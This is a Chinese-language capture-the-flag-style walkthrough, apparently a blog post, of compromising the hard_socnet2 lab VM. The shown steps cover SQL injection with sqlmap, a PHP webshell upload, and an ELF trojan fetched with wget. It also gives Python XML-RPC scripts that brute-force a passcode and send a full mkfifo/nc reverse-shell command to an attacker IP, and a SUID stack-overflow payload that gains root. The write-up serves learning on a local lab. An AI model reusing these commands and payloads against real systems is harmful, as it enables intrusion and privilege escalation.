hard_socnet2靶场渗透测试

本篇文章在堆栈溢出提权部分借鉴了作者: 爱婷如命一生一世 的文章:hard-socnet2高难度 - 墨天轮 多向大佬学习!

项目概述

渗透测试目的

渗透测试范围

渗透测试时间

渗透测试环境

渗透测试人员

渗透测试方法

渗透测试流程

渗透测试方法与内容

渗透测试结果汇总

拿到系统权限-root

本次渗透测试范围为本地,具体如下:

1-1:渗透测试对象

序号

系统名称

网站地址

内外网

1

   hard_socnet2

http://192.168.22.137

内网

2023年11月6日下午16:00--2023年11月7日下午13:00

在本地开展内网的vmware虚拟机中渗透测试。

TYR2

渗透测试方法

渗透测试流程

        

        

  • 信息收集
  • 主机存活扫描和端口扫描

nmap -A 192.168.22.137

开启22端口和80端口、8000端口

        

        

  • 目录扫描

                  

/data 目录是保存图片的-我们上传的图片也在里面-可以使用图片上传绕过上传php文件

/index.php/login.php是另一个登录界面

/images中存放了一个photo图片

/resources中存放css文件和js文件

/database中有两个sql脚本文件-可能存在管理员账号密码

        

  • 漏洞验证与利用
  • Xss存储型漏洞验证
  • 创建个账号进入到其中

一个留言板-具有xss存储型漏洞

        

        

  • Sql注入漏洞验证与利用
  • 发现搜索页面具有sql注入
  • 使用sqlmap验证一下

        

跑出了admin的账号密码

        

  • 登录看看

        发现没啥可利用的点-和普通用户一样

        amdin说他有一个脚本拿来监视服务器

        

  • 文件上传漏洞验证与利用
  • 发现可以上传图片--没有安全过滤,直接可以上传php文件

然后我们去上面扫出来的目录/data中去找到我们的php文件

使用哥斯拉连接

        

  • 连接成功-并且是www-data用户

        

发现/etc/passwd可读,只能root权限可写

        

并且发现一个普通用户socnet

  • /tmp目录所有用户可读写

        

使用kali生成elf木马并开启临时服务器,进入到靶机tmp目录,使用wget下载elf木马并使用chmod 777 .elf给予可执行权限,执行elf文件-kali机同时开启监听,反弹shell成功

        

  • 通过反弹的shell查看当前内核版本

        

  • 通过searchsploit 查不到相关提权脚本

网上查了一下Ubuntu 18.04.1发现有提权脚本-cve-2021-3493

    下载poc到kali

kali开启临时服务器

进入到tmp目录下载脚本

给予执行权限-然后编译执行

运行之后用户还是www-data

  • 到这很较劲脑汁,但是好像socnet用户下有几个python文件可以利用

        

add_record具有suid权限

  • monitor.py在之前admin账户在留言板说的,他们在使用。

        

  • 查了一下

        

  • py客户端代码编写

①先进行简单测试:通过脚本请求了服务端的cpu信息,服务端接受到cpu请求后,通过其API接口执行了客户端的请求,查询到了目标服务器CPU的信息

# cat a.py import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.22.137:8000/") as proxy:

print(str(proxy.cpu()))

# python3 a.py

②修改客户端代码,通过暴力破解的方式,把服务器端的random随机生成的数字passcode破解出来

# cat b.py

import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.22.137:8000/") as proxy:

    for p in range(1000,10000):

        r = str(proxy.secure_cmd('whoami',p))

        if not "Wrong" in r:

            print(p)

            print(r)

            break

# python3 b.py  

③编写客户端代码,通过上一步暴力破解出的passcode值,使服务器执行自定义系统命令(此处为反弹shell命令)

        编写客户端代码

# cat a.py

import xmlrpc.client

with xmlrpc.client.ServerProxy("http://192.168.22.137:8000/") as proxy:

    cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.22.129 4444 >/tmp/f"

    r = str(proxy.secure_cmd(cmd,4902))

    print(r)

  • 先运行b.py获取固定的数字

        

然后把数字写入到c.py并运行—kali同时开启监听

        

  • 好不容易拿到这个shell后门,需要将它升级的更为友好!

socnet@socnet2:~$ python -c "import pty;pty.spawn('/bin/bash')"

  • 在cocnet这个家目录下的add_recprd这个文件,需要看一看

通过file文件查看add这个文件格式,得到的结果是ELF 32位的

通过对add这个文件格式查看,得到在运行时是通过运行suid,并且在文件权限中也是有这样的权限位

可以明白靶机的作者的意图,在于通过这个文件的SUID权限位来进行提权(因为这个文件的属主账号是root )

  • 为了更详细了解add这个文件的关系,我先观察peda文件--动态调试

        

  • 想到动态调试,势必会有内存溢出的漏洞,堆溢出漏洞。

利用GDB调试这个文件来跟踪其运行情况。

了解完漏洞挖掘的基本流程,就需要知道知道靶机中add_record有哪些数据注入点?

尝试运行add_record文件;

        

  • 知道是输入员工的数据

             按照他的要求输入--没什么问题

并且在当前目录生成了一个employee_records.txt的文件,里面记录了输入的员工信息

总结的来说,姓名,薪资,年限,工作中的是否有问题,问题描述都是数据入口点。

接下来针对这些数据入口点,来侦测是否存在内存溢出的漏洞!

gdb (动态调试程序的一个工具)以安静的模式调试add_record这个程序,进行详细跟踪了解具体的哪个数据提交过程能造成溢出等漏洞!

输入r (run运行的意思)才能被真正运行(程序按照指定的逻辑运行),不输入只是调用的意思。

  • 测试数据是否有堆栈溢出,

顺序是:分别输入大量数据,如果直接弹出,则当前输入点没有堆栈溢出,否则有

  • 在测到输入员工名的时候,发现出现异常,溢出数据到寄存器中了

        

  • 在此次发现的缓冲区溢出漏洞,请初学者(我就是)尤为注意EIP寄存器(保存了CPU运行下一条指定放置的内存编号)。

那么问题来了,这4个A是500个A中的第几个A呢?因为这个答案影响着溢出的临界点,就能精准的判断是多少个数值覆盖到其他寄存器中。

为了搞清楚这个问题,这4个A的位置采用加载payload的内存地址,这样一来EIP寄存器就会存入我们写的地址,CPU在运行时,就会调用EIP的信息里的地址,从而反弹shell,获得目标系统的管理权限

可以使用二分法进行判断具体的位置,或者输入凌乱的数据,可以去更好的判断

利用pattern search,能看到EIP的偏移量是62,说明从第六十三个字符中进入到EIP寄存器中。

                                  EIP+0 found at offset: 62

  • 来证实2324这4个字符是否会在EIP寄存器中

        

在等到描述中输入,结果EIP缓存器中写入了2324

EIP: 0x34323332 ('2324')------->这里面的内容决定了是否关键提权。

           这就可以在EIP寄存器中写入我们想要的数据了。

  • 首先查看这个程序中所用程序入口发向CPU的汇编代码情况。

gdb-peda$ disas main 这个命令的意思就是将这个add的主程序加载。

关于汇编代码简单的说,一个程序在执行中,CPU会给其分配很多内存地址,内存地址中携带了很多指令,程序的处理等,最后再将运算结果输出。

从这个add程序的运行来看也不列外,当我在运行这条程序时,首先弹出了欢迎页面,然后在弹出了一些指定的提示。

        

  • 这里需要打断点,慢慢去了解程序是如何执行的了

                                            break *+地址 -->这样就是一个打断点的方式

                                 @plt是c语言的的内建函数。

fopen@plt(被调用的一个系统函数)是猜测是打开文本文件的意思

  • 下面是几个系统的函数

        

  • 接下来往下看,又调用了一个call的功能函数

而这个函数则调用了put,其作用是输出,配合Printf内建函数进行打印输出。

之后便是打断点了

                                    为了了解函数的作用,我们可以在函数前一个地址打上断点

  • 比如这里想了解printf函数的作用,就要去打断点

    输入:break *0x0804874f 打上一个断点

   

    

图中显示我是第四个断点,不过不影响,因为我之前打过三个断点了,再打新断点的时候把旧的断点删了就可以了

                                            删除断点:del number

                                            然后输入r运行

                                            就出现了这样的界面

        

                                  可以看到运行点停在了我们刚打的断点那里,可以输入s执行下一步

可以看到此时程序就停留在了提示信息那里(输入员工名)

  • 可以输入c把程序运行内容呈现出来,验证一下

        

                                验证确实是来到了printf这里

后面的一些函数也可以这样打断点去测试

出来printf函数外还有一个非系统自建函数vuln

                                  如图:disas main 查看主程序

            

  • 为了确认这个vuln不是系统自建函数,接下来看看这个程序中到底有哪些函数

        输入:info func --->查看所有使用的函数

        

  • 可以看到很敏感的函数名:backdoor(后门)、vuln(脆弱的)

                                            应该是作者留给我们解题的关键信息了

                  并且还看到了setuid函数,说明有些程序是调用了suid这个函数的,system函数是用来调用操作系统指令。

分析到这里说明这个add_record程序是存在调用操作系统指令的功能!

  • 我们可以使用disas + 函数名 查看函数具体

        disas vuln

        

        

  • 那就把注意力放在了strcpy这个函数上来了!

  • 再次查看backdoor的汇编情况,也是利用call调用了setuid的内建函数,请求完之后又调用了system内建函数(尝试执行系统的操作指令)。

    

  • 查看backdoor里的调用内容的内存地址。0x08048676

    

  • 在目标靶机中先退出gdb调试器,并输入之前的这个 命令,生成一个payload文件

python -c "import struct; print('abc\n2\n3\n1\n' + 'A'*62 + struct.pack('I', 0x08048676))" >payload

接下来,将这个payload文件一次性的输入给add_record这个程序。

再次运行gdb调试工具

    

    可以看到payload已经保存在本地了

    可以看看其中的内容

        

    启动gdb调试工具

    输入:gdb -q ./add_record 

      r < payload

    

    可以看到新增了几个进程,调用了/bin/bash

        

此为止,就可以明白这个漏洞产生的原因,在目标靶机中主程序add_record中有一个vuln函数(存在漏洞scrpty)

         就要利用payload这个漏洞代码来触发这个程序,返回root权限!

         这里获得了欢迎页面和黑屏的提示

         输入: cat payload - | ./add_record

        直接输入id就能发现我们进入了一个交互式的shell,并且我们的id是0,root权限,到此就成功提权了

        

  • 渗透测试结果汇总

怎么说呢,这个靶场对我来说还是难度太大了。其中也去搜索了很多方法去利用。在其中也学习到了许多方法,感觉在打完这个靶场后,自己的思路变得很清晰了一些,也学会了很多方法。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值